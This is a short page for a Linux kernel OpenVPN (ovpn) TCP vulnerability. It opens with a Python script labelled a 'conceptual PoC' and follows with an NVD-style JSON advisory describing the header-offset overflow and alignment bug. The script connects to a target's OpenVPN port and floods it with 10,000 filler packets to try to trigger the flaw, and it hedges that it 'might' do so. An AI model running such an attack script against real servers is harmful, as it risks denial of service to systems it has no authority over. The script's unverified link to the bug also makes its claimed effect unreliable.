CVE-2026-43254

import socket import struct # This is a conceptual PoC for CVE-2026-43254 # It simulates sending a stream of OpenVPN TCP packets # that might trigger the coalescing and offset issues # on a vulnerable Linux kernel running the ovpn module. def create_ovpn_packet(length): # OpenVPN TCP packet has a 2-byte length prefix header = struct.pack('!H', length) # Fill with dummy data payload = b'A' * length return header + payload def send_malicious_stream(target_ip, target_port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send a large number of packets to encourage coalescing (TSO/GRO) # and potentially trigger the offset overflow or alignment issues. for i in range(10000): # Use a specific packet size if necessary to trigger alignment issues # The vulnerability description mentions 2-byte prefix causing misalignment # of subsequent fields. pkt = create_ovpn_packet(1400) s.sendall(pkt) print("[+] Stream sent to target.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_IP = "127.0.0.1" # Replace with target IP TARGET_PORT = 1194 # Default OpenVPN TCP port send_malicious_stream(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-43254", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:46.143", "lastModified": "2026-05-11T18:21:13.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\novpn: tcp - fix packet extraction from stream\n\nWhen processing TCP stream data in ovpn_tcp_recv, we receive large\ncloned skbs from __strp_rcv that may contain multiple coalesced packets.\nThe current implementation has two bugs:\n\n1. Header offset overflow: Using pskb_pull with large offsets on\n coalesced skbs causes skb->data - skb->head to exceed the u16 storage\n of skb->network_header. This causes skb_reset_network_header to fail\n on the inner decapsulated packet, resulting in packet drops.\n\n2. Unaligned protocol headers: Extracting packets from arbitrary\n positions within the coalesced TCP stream provides no alignment\n guarantees for the packet data causing performance penalties on\n architectures without efficient unaligned access. Additionally,\n openvpn's 2-byte length prefix on TCP packets causes the subsequent\n 4-byte opcode and packet ID fields to be inherently misaligned.\n\nFix both issues by allocating a new skb for each openvpn packet and\nusing skb_copy_bits to extract only the packet content into the new\nbuffer, skipping the 2-byte length prefix. Also, check the length before\ninvoking the function that performs the allocation to avoid creating an\ninvalid skb.\n\nIf the packet has to be forwarded to userspace the 2-byte prefix can be\npushed to the head safely, without misalignment.\n\nAs a side effect, this approach also avoids the expensive linearization\nthat pskb_pull triggers on cloned skbs with page fragments. In testing,\nthis resulted in TCP throughput improvements of up to 74%."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4562EDA-AFEA-4C62-97CC-C83E109A5F19"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0315bec883c67fa1413c61e504a28dc5bd02eb37", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7dba6cd7fb168d7615194a631c9c100c1c224131", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d4f687fbbce45b5e88438e89b5e26c0c15847992", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}